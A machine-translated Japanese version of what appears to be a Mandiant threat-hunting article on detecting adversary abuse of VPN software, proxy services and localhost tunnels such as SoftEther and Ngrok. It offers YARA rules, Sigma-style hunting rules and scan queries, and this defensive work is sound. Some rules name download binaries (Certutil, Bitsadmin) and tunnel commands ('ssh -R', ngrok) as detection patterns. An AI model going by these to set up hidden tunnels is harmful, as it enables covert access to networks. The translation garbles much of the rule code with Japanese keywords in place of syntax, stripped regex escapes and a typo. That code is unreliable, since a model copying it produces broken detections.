VPN、プロキシ、およびトンネルへの侵入

私達、どうしてここに?

敵対者の観点から攻撃のライフサイクルを検討する場合、敵対者には、各ステップでどのように進めるかについていくつかの選択肢があります。回答が必要な質問の 1 つは、攻撃者が既知のマルウェア ( BEACONなど)、ゼロから構築されたカスタム マルウェア ( HAMMERTOSS など)、または正当なソフトウェアやサービス( SoftEther Virtual Private Networkなど) を使用するかどうかです。上記のステップを完了するために必要な機能を提供します。

各オプションには長所と短所があります。一般に知られているマルウェアは非常に安価である可能性がありますが、しばらくの間世間の注目を集めているため、検出が容易な場合もあります。カスタム マルウェアは、その独自のコード ベースを考えると非常にステルス性が高くなる可能性がありますが、使用前に開発する必要があるため、時間や費用が非常に高くつきます。正当なソフトウェアとサービスは、「通常のネットワーク アクティビティ」へのカモフラージュ効果によりステルスになる可能性がありますが、考慮されている機能に使用するように作成されていないため、必要なタイプの機能を正確に提供しない場合もあります。

Mandiant は、これらの 3 つの理論上の「オプション」すべてを、手ごわい敵からの調査および関与を通じて観察しており、それぞれの方法をハンティング、収集、および分析に価値のあるものにしています。

ただし、これからお読みになるコンテンツの目的は、3 番目のオプション、および一部のランチ テーブルで最も議論されないオプション、つまり正当な仮想プライベート ネットワーク (VPN) ソフトウェア、プロキシ サービス、および localhost トンネルについて説明することです。このコンテンツでは、VPN ソフトウェア、プロキシ サービス、およびトンネルに対する防御者のハンティングと検出のレパートリーをさらに拡大するために、これら 3 つのリモート アクセス方法のそれぞれについて説明します。

違いの定義

仮想プライベート ネットワーク ソフトウェア

VPN ソフトウェアを理解するには、VPN を理解する必要があります。仮想プライベート ネットワークは、デバイスからネットワークへのインターネット経由の暗号化された接続です。暗号化された接続により、機密データを安全に送信できます。承認されていない人がトラフィックを傍受するのを防ぎ、ユーザーがリモートで作業できるようにします。

以下では、 VPN ソフトウェアは、VPN 接続 (SoftEther VPN Client、OpenVPN Client など) の使用を容易にするソフトウェア アーティファクトとして定義されます。

プロキシ サービス

コンピューター サイエンスでは、プロキシは、要求を行うクライアントと要求された宛先サーバーの間に存在するサーバーです。プロキシは、ネットワーク ログの収集、キャッシュ リポジトリ、匿名化されたインターネット アクセスの提供など、複数の目的で使用できます。プロキシサービスユーザーがインフラストラクチャの問題 (RSocks、HideMyAss、Hide.Me など) なしでプロキシの利点を得ることができるオンライン リソース。

LocalHost トンネリング

VPN ソフトウェアとプロキシ サービスの両方がクライアントからサーバーへのアウトバウンド接続を容易にしますが、localhost トンネリングも同様であり、外部ネットワークからクライアントへの接続を容易にします。これは、一般に「localhost の公開」と呼ばれるもの ( Ngrok 、 LocalTunnel、Localhost.Run など) によって行われます。

全方位から探知

ハントと検出のさまざまな方向性についてブレインストーミングを行った結果、次のような結論が導き出されました。この規模での正規のソフトウェアとサービスの検出は、単一の検出分野の狭い実装ではなく、複数の分野にわたって拡張する必要があります。

ブレーンストーミング ハンティング & 検出の方向性

このような大規模なハンティングおよび検出操作を開始するには、各組織が利用できるさまざまなハンティングおよび検出オプションを使用してブレインストーミングを行う必要があります。たとえば、組織がネットワーク トラフィックに対して Snort シグネチャを実行する能力を持っていない場合、そのタイプの方向性は、他の主要な検出方法に後回しになる可能性があります。

さらに、方法論として利用されているテクノロジーを探す場合、テクノロジーの各ベンダーのバージョン (つまり、SoftEther、NordVPN、Ngrok などでの検出) に焦点を当てた「ベンダーをたたく」タイプのアプローチに陥りがちです。これにはメリットがあるため、ひどいアプローチではありませんが、理想的ではありません。以降のセクションでは、SoftEther VPN、Ngrok などをカバーする検出を取り上げます。これらは、それらの使用の脅威の密度の高い性質のためにカバーされています。次のハンティングの方向セクションで強調されているように、理想的なハンティング プロセスは、よりベンダーにとらわれない方法論主導の検出を使用します。

VPN クライアントの方向

疑わしい VPN ファイルにラップされているファイル

懸念: 敵対者は、これらの VPN ファイルを自身の内部に格納する無害なファイルを使用して、リモート アクセス ソフトウェア以外のものになりすます可能性があります。

方向: ファイル自体の構成をピアリングできる検出ロジックを使用して、無害なファイルの下にある VPN アーティファクトを識別します。

以下は、VPN エクイティおよび/または VPN ファイルにラップされたさまざまなファイルの検出と指示を探していると見なすことができます。

  • Hex ペイロードが埋め込まれたリッチ テキスト形式のファイル
  • VPN ターゲット ドメインが組み込まれた Office XML ファイルを開く
  • VPN ファイルまたはドメイン参照を含む光ディスク イメージ (ISO イメージ) ファイル
  • VPN ファイルまたはドメイン参照を含む Mach オブジェクト (Mach-O) ファイル

Hex VPN ファイル参照を使用した RTF 組み込み Hex ペイロード

rule M_Hunting_VPNEngine_RTF_Embedded_1 {   meta:     description = "Detects a suspicious string often used in PE files in a hex encoded object stream along with a VPN or proxy filename in the hex object."     author = "Mandiant"     md5 = "befec87a9742ba8e8f6e61e1133f55fb"  strings:     $pe = "546869732070726f6772616d2063616e6e6f742062652072756e20696e20444f53206d6f6465" ascii     $mz = /4d5a[a-zA-Z0-9]{19,21}ffff/         $vpn1 = /56504e[a-zA-Z0-9]{0,20}(2e657865|2e646c6c)/ ascii   $vpn2 = /76706e[a-zA-Z0-9]{0,20}(2e657865|2e646c6c)/ ascii     $vpn3 = /70726f7879[a-zA-Z0-9]{0,20}(2e657865|2e646c6c)/ ascii     $vpn4 = /50726f7879[a-zA-Z0-9]{0,20}(2e657865|2e646c6c)/ ascii     $vpn5 = /50524f5859[a-zA-Z0-9]{0,20}(2e657865|2e646c6c)/ ascii  condition:     filesize < 15MB and (uint16(0) == 0x5C7B) and ($pe or $mz) and (1 of ($vpn*)) }

VPN ターゲット ドメインが組み込まれた OOXML

rule M_Hunting_VPNEngine_OOXML_Target_1 {   meta:     description = "Detects an external relationship link in an OOXML with a VPN or proxy domain."     author = "Mandiant"   strings:     $relationship_external = /TargetMode=["']External["']/ ascii nocase wide     $anchor = "<Relationships xmlns="http://schemas.openxmlformats.org/package/2006/relationships">"     $s1 = " Target=" ascii nocase     $s2 = " TargetMode=" ascii nocase     $s3 = " Type=" ascii nocase     $s4 = " Id=" ascii nocase     $re = /Target=["'][^"']{0,100}(vpn|proxy).{0,100}/ ascii nocase   condition:      (filesize < 10KB) and $anchor and $relationship_external and (1 of ($s*)) and $re }

VPN ファイルまたはドメイン参照を含む ISO ファイル

ルール M_Hunting_VPNEngine_ArchiveEngine_ISOWithEmbeddedVPN_1
{
メタ:
著者=「マンディアント」
description = "VPN 文字列を利用したペイロードが埋め込まれた ISO ファイルを探しています。"
md5 = "4c5f27d28f369da5d5ecce947bb22943"
文字列:
$s1 = /vpn[^.]{0,50}.(exe|dll|lnk|hta|rtf|ps1|vbs|vbe|pdf|doc)/ ascii nocase フルワード
$s2 = /proxy[^.]{0.50}.(exe|dll|lnk|hta|rtf|ps1|vbs|vbe|pdf|doc)/ ascii nocase フルワード
$s3 = /vpn[a-zA-Z0-9.]{0,50}.(com|io|ru|org|net)/ ascii nocase
$s4 = /proxy[a-zA-Z0-9.]{0,50}.(com|io|ru|org|net)/ ascii nocase
$s5 = "リモート アクセス" ascii nocase ワイド フルワード
$s6 = /localhost[^a-zA-Z0-9]{0,5}tunnel/ ascii nocase フルワード
調子:
uint32(0x8000) == 0x30444301 および uint32(0x8004) == 0x00013130 およびそれらのいずれか
}

VPN ファイルまたはドメイン参照を含む Mach-O ファイル

ルール M_Hunting_MacOS_VPNEngine_MachO_FEBeta_1
{
メタ:
著者=「マンディアント」
description = "このルールは、VPN クライアントまたはドメインとの関係を示す文字列を含む Mach-O ファイルを検索します。
md5 = "6de8cc7217cb3e0c235fcdde83b1140b"
文字列:
$s1 = /vpn[^.]{0,50}.(exe|dll|lnk|hta|rtf|ps1|vbs|vbe|pdf|doc)/ ascii fullword nocase
$s2 = /proxy[^.]{0.50}.(exe|dll|lnk|hta|rtf|ps1|vbs|vbe|pdf|doc)/ ascii fullword nocase
$s3 = /vpn[a-zA-Z0-9.]{0,50}.(com|io|ru|org|net)/ ascii nocase
$s4 = /proxy[a-zA-Z0-9.]{0,50}.(com|io|ru|org|net)/ ascii nocase
$s6 = /localhost[^a-zA-Z0-9]{0,5}tunnel/ ascii fullword nocase
調子:
ファイルサイズ < 15MB および (uint32(0) == 0xBEBAFECA または uint32(0) == 0xFEEDFACE または uint32(0) == 0xFEEDFACF または uint32(0) == 0xCEFAEDFE) および (そのうちの 1 つ)
}

VPN Equities を使用した埋め込みファイルを含む OOXML

# author = "Mandiant" ; type = "OOXML" ; md5 = "a2d34e8c543aef78766b37dcaa5f7686" M_Hunting_VPNEngine_OOXML_Target_1;Engine:51- 255,Container:CL_TYPE_ZIP,Target:0;(0&1&2)&(3|4|5|6);3c3f786d6c;3c773a646f637 56d656e74;353436383639373332303730373236663637373236313664;373637303665;35363 5303465;37303732366637383739;35303732366637383739
 

VPN クライアント構成ファイルによる情報収集

懸念事項: 多くの VPN クライアントは構成ファイルを入力として受け取ります。クライアント自体が懸念事項ですが、構成ファイルはインテリジェンスの洞察と潜在的なピボット ポイントを提供します。

方向: ファイルベースの分析を使用して、パブリック ストアまたはこれらのファイルが想定されていないシステムで一般的な VPN クライアント構成ファイルを特定します。

SoftEther VPN 構成の識別

{ meta: author = "Mandiant" md5 = "2586bb9e27a4b3da4ed0f5d15883f84e" description = "Rule looks for SoftEther config file." strings: $configfile = "Software Configuration File" ascii fullword $softether1 = "softether" ascii fullword nocase $softether2 = "EnableSoftEtherKernelModeDriver" nocase $topFields1 = "ListenerList" $topFields2 = "LocalBridgeList" $topFields3 = "ServerConfiguration" $topFields4 = "VirtualHUB" condition: filesize < 1MB and $configfile and (1 of ($softether*)) and (1 of ($topFields*)) }

Ngrok VPN 構成の識別

rule M_Hunting_VPNEngine_NgrokConfig_1 { meta: author = "Mandiant" description = "Rule looks for Ngrok YML config file." md5 = "5d1dbfdc47e820605fedabb98cf17dd5" strings: $header = "authtoken:" ascii $tokenRE = /authtoken:s+[a-zA-Z0-9]{24,30}_[a-zA-Z0-9]{16,22}/ ascii $tunnel = "tunnels:" ascii condition: filesize < 1MB and $header in (0..20) and $tokenRE and $tunnel } rule M_Hunting_VPNEngine_NgrokConfig_2 { meta: author = "Mandiant" description = "Rule looks for Ngrok YML config file." md5 = "5d1dbfdc47e820605fedabb98cf17dd5" strings: $header = "authtoken:" ascii $tokenRE = /authtoken:s[a-zA-Z0-9]{26,30}_[a-zA-Z0-9]{19,22}/ ascii condition: filesize < 1MB and $header at 0 and $tokenRE }
 

VPN クライアントまたはソフトウェア以外のものになりすましたプロセスの実行。

懸念事項: この SoftEther VPN Bridge の名前が iexplore.exe および conhost.exe に変更されたように、名前が変更されたバイナリや、ファイルの真の目的を覆い隠すその他の側面がよく見られます。

方向: 名前付きまたは名前変更されたプロセス、ファイルなどを検出する方法論を探す、ファイル名ベースの検出のみに依存することは避けてください。プロセスベースの検出ロジックを使用して、VPN コンポーネントに共通するスイッチ、アクション、および接続を識別します。文字列ベースの株式に頼って、バイナリの正体や意図を特定することさえできます。

ネットワーク接続による SoftEther VPN の検出

title: 「ネットワーク接続により SoftEtherVPN の名前が変更されました (方法論)」
説明: 「既知のドメイン接続を検出することにより、名前が変更された SoftEther VPN バイナリのアクティビティを検出します。」
作者:マンディアント
日付: '2022-06-15'
ステータス:狩猟
ログソース:
製品: 「FireEye HX」
検出:
選択ドメイン:
urlMonitorEvent ホスト名|内容:
- 「get-my-ip.ddns.softether-network.net」
- 「キープアライブ.softether.org」
- 'update-check.softether-network.net'
urlMonitorEvent ホスト名|re: 'vpn[0-9a-zA-Z]{1,50}.softether.net'
filterProcessName:
urlMonitorEvent プロセス|内容:
- 「ソフトエーテル」
- 「VPN ブリッジ」
-「vpn クライアント」
-「vpncmgr」
- 「vpngateプラグイン」
-「vpninstall」
-「vpn サーバー」
-「vpnsetup」
-「vpnmgr」
- 'zsatunnel'
条件: selectionDomain であり、filterProcessName ではない
田畑:
- 「urlMonitorEvent プロセス」
- 「urlMonitorEvent ホスト名」
- 「urlMonitorEvent タイプ」
- 「urlMonitorEvent コマンドライン」
偽陽性:
- 「ZScaler などの既知のプロキシ サービス」。
レベル:「中」

レジストリの変更による SoftEther VPN の検出

title: 「レジストリの変更により SoftEtherVPN の名前が変更されました (METHODOLOGY)」
説明: 「レジストリの変更を検出することにより、SoftEther VPN バイナリのアクティビティを検出します。」
作者:マンディアント
日付: '2022-06-15'
ステータス:狩猟
ログソース:
製品: 「FireEye HX」
検出:
選択タイプ:
regKeyEvent タイプ: 1
selectionStaticPath:
regKeyEvent パス|次を含む: 'SystemCurrentControlSetServicesSEVPNCLIENT'
selectionREPath:
regKeyEvent パス|re: 'SOFTWAREMicrosoftWindowsCurrentVersionRun[a-zA-Z0-9_s-]{0,100}?SoftEther[a-zA-Z0-9_.s -]{0,100}'
条件: selectionType および (selectionStaticPath または selectionREPath)
田畑:
- 「regKeyEvent プロセス」
- 「regKeyEvent パス」
- 「regKeyEvent キー」
- 「regKeyEvent値」
偽陽性:
- "わからない"
レベル:「中」

コマンドラインからの汎用 VPN スイッチ (ハンティング)

vpn、proxy、sstp、l2tp を含むがこれらに限定されないプロセス コマンドライン スイッチで一般的な VPN エクイティを探します。


タイトル: 「既知のスイッチを使用した VPN のようなプロセス (方法論)」
説明: '既知のコマンドライン スイッチを使用して疑わしい VPN バイナリを検出します。'
作者:マンディアント
日付: '2022-06-15'
ステータス:狩猟
ログソース:
製品: 「FireEye HX」
検出:
選択プロセスの種類:
processEvent eventType: 「開始」
selectionSwitchOptions1:
processEvent processCmdLine|内容:
- ' --vpn'
- '  - プロキシー'
selectionSwitchOptionsMethod1:
processEvent processCmdLine|内容:
-「ssl」
- 'l2tp'
- 'sstp'
selectionSwitchOptions2:
processEvent processCmdLine|内容:
-「VPN」
- 'プロキシー'
selectionSwitchOptionsMethod2:
processEvent processCmdLine|内容:
- ' --ssl'
-' --l2tp'
- ' --sstp'
条件: selectionProcessType および ((selectionSwitchOptions1 および selectionSwitchOptionsMethod1) または (selectionSwitchOptions2 および selectionSwitchOptionsMethod2))
田畑:
- 「processEvent processCmdLine」
- 「processEvent プロセス」
- 「processEvent ユーザー名」
- 「プロセス イベント Md5」
偽陽性:
- "わからない"
レベル:「低い」

プロセスからの一般的な VPN ドメイン (ハンティング)

次の正規表現を使用して、VPN またはプロキシ ドメインへのネットワーク接続を開始するプロセスを識別します。

(vpn|proxy).[^.]{1,100}.(net|com|org|io|ru)

これは、vpn.company[.]com または proxy.company[.]com の形式でドメインを使用する一般的な方法に大きく依存しています。これは完全に包括的なものではありませんが、開始するのに十分なハンティングの機会につながり、それらが使い果たされた場合は、正規表現を緩めることができます。


タイトル: 「プロセスからの一般的な VPN ドメイン (ハンティング)」
説明: 「次の正規表現を使用して、VPN またはプロキシ ドメインへのネットワーク接続を開始するプロセスを識別します。」
作者:マンディアント
日付: '2022-06-15'
ステータス:狩猟
ログソース:
製品: 「FireEye HX」
検出:
選択ドメイン:
urlMonitorEvent ホスト名|re:
- 'vpn.[^.]{1,100}.(net|com|org|io)'
- 'proxy.[^.]{1,100}.(net|com|org|io)'
filterProcessName:
urlMonitorEvent プロセス|内容:
- 'プロキシー'
-「VPN」
 
条件: selectionDomain であり、filterProcessName ではない
田畑:
- 「urlMonitorEvent プロセス」
- 「urlMonitorEvent ホスト名」
- 「urlMonitorEvent タイプ」
- 「urlMonitorEvent コマンドライン」
偽陽性:
- 「ZScaler などの既知のプロキシ サービス」。
- 「その他の正当な社内プロキシ」。
レベル:「低い」

プロセスからの汎用 VPN ユーザー エージェント (ハンティング)

正当な VPN エージェントの使用を特定することは、多くのハンティングの機会につながります。 HTTP ユーザー エージェント文字列内で VPN およびプロキシ キーワードを検索すると、これらの機会が促進されます。既知の承認済みソフトウェア リストまたは承認済み VPN/プロキシ ドメインを使用してチューニングを適用すると、誤検知を減らすことができます。


タイトル: 「プロセスからの一般的な VPN ユーザー エージェント (ハンティング)」
説明: 'HTTP ユーザー エージェント文字列内の VPN およびプロキシ キーワードを検索しています。'
作者:マンディアント
日付: '2022-06-15'
ステータス:狩猟
ログソース:
製品: 「FireEye HX」
検出:
選択ユーザーエージェント:
urlMonitorEvent userAgent|内容:
- 'プロキシー'
-「VPN」
フィルターホスト名:
urlMonitorEvent ホスト名|内容:
-「VPN」
- 'プロキシー'
条件: filterHostname ではなく、selectionUserAgent
田畑:
- 「urlMonitorEvent プロセス」
- 「urlMonitorEvent ホスト名」
- 「urlMonitorEvent タイプ」
- 「urlMonitorEvent コマンドライン」
偽陽性:
- 「ZScaler などの既知のプロキシ サービス」。
- 「その他の正当な社内プロキシ」。
- 「FortiSSLVPN」
- "GoogleImageProxy"
- 「ESET Security プロキシ検出」
レベル:「低い」

一般的な SoftEther VPN 株式 (ハンティング)

一意のエクイティを利用してバイナリ内の既知の SoftEther 機能を検出すると、プロセス名の検出を回避し、機能を識別するのに役立ちます。たとえば、以下で説明するユース ケースの UNC3500 を使用します。

rule M_Hunting_Linux_VPNEngine_GenericSoftEther_1 {   meta:       author = "Mandiant"       description = "Rule looks for SoftEther generic terms in samples."   strings:       $domain = "update-check.softether-network.net" ascii fullword       $keepalive = "keepalive.softether.org"       $vpn = "SoftEther Corporation" ascii fullword   condition:       filesize < 10MB and uint32(0) == 0x464c457f and all of them }

実行されるとアウトバウンドに到達し、既知の VPN クライアントをダウンロードするファイルまたはプロセス

懸念事項: Living off the land バイナリを使用したり、カスタム コードを使用したりするなど、リモート ダウンロードを実行する方法は何百もありますただし、通常のユーザーの動作に従わない方法で VPN クライアントをダウンロードするプロセスが見られる場合、その意図は、このクライアントを悪意のある動作に利用することである可能性があります。

方向: 土地のバイナリを利用して、VPN クライアント ソフトウェアをダウンロードするためのアウトバウンド接続を特定します。

VPN ドメインを使用した土地のバイナリからの生活

Living off the Landイベントとは、攻撃者がシステムで利用可能な正当なソフトウェアと機能を使用して、悪意のあるアクションを実行するコンピューター イベントを表します。これらの正当なソフトウェア バイナリは、 Living off the Land Binaries ( LoLBins ) と見なされ、VPN またはプロキシ手法と組み合わせると、堅牢でカモフラージュされた操作が可能になります。

VPN およびプロキシ ドメインと組み合わせてダウンロード機能を持つこれらの LoLBin を探すためにプロセス データを利用すると、それらの悪用を特定できる可能性があります。


タイトル: 「VPN ドメインを使用した陸上バイナリーの生活 (ハンティング)」
説明: 「VPN およびプロキシ ドメインと組み合わせてダウンロード機能を持つ LoLBin を探すためにプロセス データを利用すると、その悪用を特定できる可能性があります。」
作者:マンディアント
日付: '2022-06-15'
ステータス:狩猟
ログソース:
製品: 「FireEye HX」
検出:
選択プロセス名:
urlMonitorEvent プロセス:
- 「AppInstaller.exe」
- 「Bitsadmin.exe」
- 「CertOC.exe」
-「CertReq.exe」
- 「Certutil.exe」
-「cmdl32.exe」
- 「Desktopimgdownldr.exe」
-「Diantz.exe」
- 「Esentutl.exe」
- 「Expand.exe」
-「Extrac32.exe」
- 「Findstr.exe」
- 「Finger.exe」
- 「GfxDownloadWrapper.exe」
- 「Hh.exe」
- 「ieexec.exe」
- 「Imewdbld.exe」
- 「Makecab.exe」
- 「MpCmdRun.exe」
- 「PrintBrm.exe」
- 「置換.exe」
-「リス.exe」
- 「Wsl.exe」
- 「Xwizard.exe」
選択 URL:
urlMonitorEvent requestUrl|re: '[a-zA-Z0-9.]{0,50}(vpn|proxy)[a-zA-Z0-9.]{0,50}.exe'
条件: selectionProcessName および selectionUrl
田畑:
- 「urlMonitorEvent プロセス」
- 「urlMonitorEvent ホスト名」
- 「urlMonitorEvent requestUrl」
- 「urlMonitorEvent コマンドライン」
偽陽性:
- "わからない"
レベル:「中」

プロキシ サービスの手順

VPN またはプロキシ接続を受信するように構成されたインフラストラクチャ

懸念: ホストベースの可視性は、組織に欠けているデータ ソースである可能性があるため、これらの株式を特定するのは困難です。これは、検出とハンティングの方向性の欠如につながります。

方向性: ホストから離れてインターネット インフラストラクチャ ハンティングに移行すると、インフラストラクチャの品質を特定できるツールデータ ソースが数多くあります。これにより、アナリストは特定の VPN エンドポイントやサーバーの検出を自動化できる場合があります。

注: これは、VPN クライアント、プロキシ サービス、およびトンネルの 3 つのテクノロジーすべてに関連しています。

以下に、特定および汎用の VPN またはプロキシ インフラストラクチャに焦点を当てたさまざまなハンティング クエリのリストを示します。

  • 汎用 VPN とプロキシ ドメイン
  • 汎用 VPN 証明書
  • MeFound VPN サービス
  • Hide.Me VPN サービス
  • OpenVPN サービス
  • Cisco IOS SSL VPN サービス
  • Wireguard VPN インフラストラクチャ
  • SoftEther VPN インフラストラクチャ
  • Ngrok サービス インフラストラクチャ

汎用 VPN とプロキシ

VPN ドメイン

services.tls.certificates.leaf_data.issuer.common_name:/.*.vpn..*.[a-z]{1,4}/

プロキシ ドメイン

services.tls.certificates.leaf_data.issuer.common_name:/.*.proxy..*.[a-z]{1,4}/

汎用 VPN 証明書の CN と組織

一般的な VPN 証明書の共通名と組織

parsed.issuer.common_name:"VPN" and parsed.subject.organization:"VPN"

その他の VPN サービス ドメイン

ミーファウンド

services.tls.certificates.leaf_data.issuer.common_name:/[^.]+.mefound.com/ or services.tls.certificates.leaf_data.subject.common_name:/[^.]+.mefound.com/ or services.tls.certificates.leaf_data.names:/[^.]+.mefound.com/

Hide.Me プロキシ サーバー

services.tls.certificates.leaf_data.names:/.*hide.me.*/ services.tls.certificates.leaf_data.names=hideservers.net

OpenVPN

services.tls.certificates.leaf_data.subject.organization:"ocvpn" or services.tls.certificates.leaf_data.subject.common_name:"ocvpn"

Cisco IOS SSL VPN

services.http.response.headers.set_cookie:/webvpn[a-z]*=.*/

ワイヤーガード

(services.http.response.html_title:/.*WireGuard VPN.*/) or (services.http.response.body:/.*Wireguard VPN.*/)
(services.http.response.html_title:/.*Wireguard.*/ or services.http.response.body:/.*Wireguard.*/) and not ((services.http.response.html_title:/.*WireGuard VPN.*/) or (services.http.response.body:/.*Wireguard VPN.*/)) and not ((services.http.response.html_title:/.*Turnkey WireGuard.*/) or (services.http.response.body:/.*Turnkey Wireguard.*/))

ソフトイーサ

悪用された IP 空間での SoftEther

services.tls.certificates.leaf_data.subject.common_name:/.*.softether.net/ AND autonomous_system.name=`HETZNER-AS` services.tls.certificates.leaf_data.subject.common_name:/.*softether.net/ AND autonomous_system.name=`DIGITALOCEAN-ASN` services.tls.certificates.leaf_data.subject.common_name:/.*softether.net/ AND autonomous_system.name=`AS-CHOOPA` services.tls.certificates.leaf_data.subject.common_name:/.*.softether.net/ AND autonomous_system.name=`OVH`

信頼されていない SoftEther 証明書

信頼できない VPN カスタム SoftEther 証明書

parsed.subject.common_name:/vpn[0-9]{1,15}.softether.net/ AND tags.raw: "untrusted" AND NOT parsed.subject.common_name:/vpn[0-9]{1,15}.softether.net/

信頼できない VPN 非カスタム SoftEther 証明書

parsed.subject.common_name:/vpn[0-9]{1,15}.softether.net/ AND tags.raw: "untrusted"

ソフトイーサ ジェネリック

証明書上の SoftEther VPN ドメイン

same_service(services.tls.certificates.leaf_data.issuer.common_name:/.*.softether.net/ AND services.port:443)

HTTP/S SoftEther VPN IP

same_service(services.tls.certificates.leaf_data.issuer.common_name:/.*.softether.net/ AND (services.service_name=`HTTP` OR services.extended_service_name=`HTTPS`))

US 以外の IP ホスティング SoftEther VPN ドメイン

same_service(services.tls.certificates.leaf_data.subject.common_name:/vpn.*softether.net/ AND NOT services.tls.certificates.leaf_data.issuer.country:"US")

Ngrok ドメイン

Ngrok ドメイン

services.tls.certificates.leaf_data.names:/.*ngrok.*/

Ngrok 検査サービス

same_service(services.http.request.uri:/.*inspect.*/ and services.http.request.uri:/.*http.*/ and services.http.response.html_title:"ngrok")

プロトンVPN

プロトン VPN サービス

services.tls.certificates.leaf_data.issuer.organizational_unit:protonvpn or services.http.response.html_title:protonvpn


プロキシ サービスに使用されるブラウザ拡張機能

懸念事項: 多くのプロキシ サービスにはコンパニオン ブラウザー拡張機能があり、一般的には見られませんが、敵対者がこのサービスを使用することを許可する可能性があります。

さらに、攻撃者はローダー機能を使用して、Chrome 経由で VPN またはプロキシ サービスにアクセスする可能性があります。これは、Chrome で –load-extension スイッチを使用して特定の拡張機能をロードできる PowerShell ローダー スクリプトまたは LNK ファイルで確認できます。

方向性: ファイル分析の焦点をブラウザ拡張アーティファクトに絞り込み、その後、VPN エクイティのアーティファクト内に絞り込みます。これは、ブラウザー拡張機能のマニフェスト ファイルまたは移植可能な実行可能ファイルに対して直接行うことができます。

Chrome VPN またはプロキシ拡張機能の読み込み

rule M_METHODOLOGY_VPNEngine_LoadVPNProxyChromeExtension_1 {   meta:       author = "Mandiant"       description = "Hunting rule that looks for files containing strings pertaining to execution of Chrome to launch an extension with VPN or proxy equities."   strings:       $r1 = /chrome[^rn]*?--load-extension=/ ascii nocase wide       $s1 = "chrome" ascii wide       $s2 = "--load-extension=" ascii wide       $p1 = "vpn" ascii wide fullword nocase       $p2 = "proxy" ascii wide fullword nocase   condition:       filesize < 50KB and all of ($s*) and $r1 and ($p1 or $p2) }

プロキシ用の Chrome 拡張マニフェスト ファイル

ルール M_Hunting_VPNEngine_ChromeExtensions_1
{
メタ:
著者=「マンディアント」
md5 = "995f7d9ca805cce59acbeff82ed4adc6"
文字列:
$manifest1 = ""manifest_version":" ascii nocase
$manifest2 = ""name":" ascii nocase
$manifest3 = ""version":" ascii nocase
$optional1 = ""author":" ascii nocase
$optional2 = ""browser_action":" ascii nocase
$optional3 = ""content_security_policy":" ascii nocase
$optional4 = ""default_icon":" ascii nocase
$optional5 = ""default_locale":" ascii nocase
$optional6 = ""default_title":" ascii nocase
$optional7 = ""説明":" ascii nocase
$optional8 = ""differential_fingerprint":" ascii nocase
$optional9 = ""icons":" ascii nocase
$optional10 = ""permissions":" ascii nocase
$optional11 = ""background":" ascii nocase
$anchorre1 = /"default_title": "[^"]{0,100}[pP]roxy[^"]{0,100}"/ ascii
$anchorre2 = /"description": "[^"]{0,100}[pP]roxy[^"]{0,100}"/ ascii
$anchorre3 = /"name": "[^"]{0,100}[pP]roxy[^"]{0,100}"/ ascii
$anchorre4 = /"short_name": "[^"]{0,100}[pP]roxy[^"]{0,100}"/ ascii
$anchorre5 = /"default_title": "[^"]{0,100}(VPN|s+vpn|vpns+)[^"]{0,100}"/ ascii
$anchorre6 = /"description": "[^"]{0,100}(VPN|s+vpn|vpns+)[^"]{0,100}"/ ascii
$anchorre7 = /"name": "[^"]{0,100}(VPN|s+vpn|vpns+)[^"]{0,100}"/ ascii
$anchorre8 = /"short_name": "[^"]{0,100}(VPN|s+vpn|vpns+)[^"]{0,100}"/ ascii
調子:
ファイルサイズ < 1MB および $manifest1 および $manifest2 および $manifest3 および (2 of ($optional*)) および (1 of ($anchorre*))
}

バイナリの Chrome 拡張機能の株式

ルール M_Hunting_VPNEngine_ChromeExtensionInBinary_1
{
メタ:
著者=「マンディアント」
md5 = "2e09a136e40143ed3317c9ce6ea027a6"
文字列:
$manifest1 = ""manifest_version":" ascii nocase
$manifest2 = ""name":" ascii nocase
$manifest3 = ""version":" ascii nocase
$optional1 = ""author":" ascii nocase
$optional2 = ""browser_action":" ascii nocase
$optional3 = ""content_security_policy":" ascii nocase
$optional4 = ""default_icon":" ascii nocase
$optional5 = ""default_locale":" ascii nocase
$optional6 = ""default_title":" ascii nocase
$optional7 = ""説明":" ascii nocase
$optional8 = ""differential_fingerprint":" ascii nocase
$optional9 = ""icons":" ascii nocase
$optional10 = ""permissions":" ascii nocase
$optional11 = ""background":" ascii nocase
$anchorre1 = /"default_title": "[^"]{0,100}[pP]roxy[^"]{0,100}"/ ascii
$anchorre2 = /"description": "[^"]{0,100}[pP]roxy[^"]{0,100}"/ ascii
$anchorre3 = /"name": "[^"]{0,100}[pP]roxy[^"]{0,100}"/ ascii
$anchorre4 = /"short_name": "[^"]{0,100}[pP]roxy[^"]{0,100}"/ ascii
$anchorre5 = /"default_title": "[^"]{0,100}(VPN|s+vpn|vpns+)[^"]{0,100}"/ ascii
$anchorre6 = /"description": "[^"]{0,100}(VPN|s+vpn|vpns+)[^"]{0,100}"/ ascii
$anchorre7 = /"name": "[^"]{0,100}(VPN|s+vpn|vpns+)[^"]{0,100}"/ ascii
$anchorre8 = /"short_name": "[^"]{0,100}(VPN|s+vpn|vpns+)[^"]{0,100}"/ ascii
調子:
((uint16(0) == 0x5A4D and uint32(uint32(0x3C)) == 0x00004550) or (uint32(0) == 0x464c457f)) and filesize < 20MB and $manifest1 and $manifest2 and $manifest3 and (2 of ( $optional*)) および (1 of ($anchorre*))
}

LocalHost トンネルの方向

正当なプロセスの使用

問題: 多くの LocalHost トンネル プロセスは、正当なプロセス (SSH) または悪意のないカスタム バイナリ (ngrok、lt) を使用してトンネルを実装します。これは、検出がバイナリ識別ではなく方法論に傾いているため、悪用の検出を妨げます。

方向: LocalHost トンネルは、通常、プロセス コマンドラインの一意で適度に識別可能な構造を使用します。これにより、検出の機会が可能になります。

LocalHost トンネル コマンドライン

Localhost トンネル ホスト コマンド (方法論)

タイトル: 「Localhost トンネル ホスト コマンド (METHODOLOGY)」
説明: '潜在的な localhost トンネル コマンドラインを検出します。'
作者:マンディアント
日付: '2022-06-15'
ステータス:狩猟
ログソース:
製品: 「FireEye HX」
検出:
selectionKnownCMD:
processEvent processCmdLine|re:
- 'ngroks+(http|tcp|tls|start)s+'
- 'lts+--ports+[0-9]{1,5}'
- 'gotunnelmes+[0-9]{1,5}'
選択Ngrokプロセス:
processEvent processCmdLine|内容: 「ngrok」
選択NgrokCMD:
processEvent processCmdLine|内容:
- 'http'
-「tls」
-「tcp」
- '始める '
selectionLHRun1:
processEvent processCmdLine|内容: 「ssh」
selectionLHRun2:
processEvent processCmdLine|内容: 「-R」
selectionLocalTunnel1:
processEvent processCmdLine|内容: 「localtunnel」
selectionLocalTunnel2:
processEvent processCmdLine|内容: "--port"
selectionLocalTunnel3:
processEvent processCmdLine|内容:
- "/lt"
- "lt"
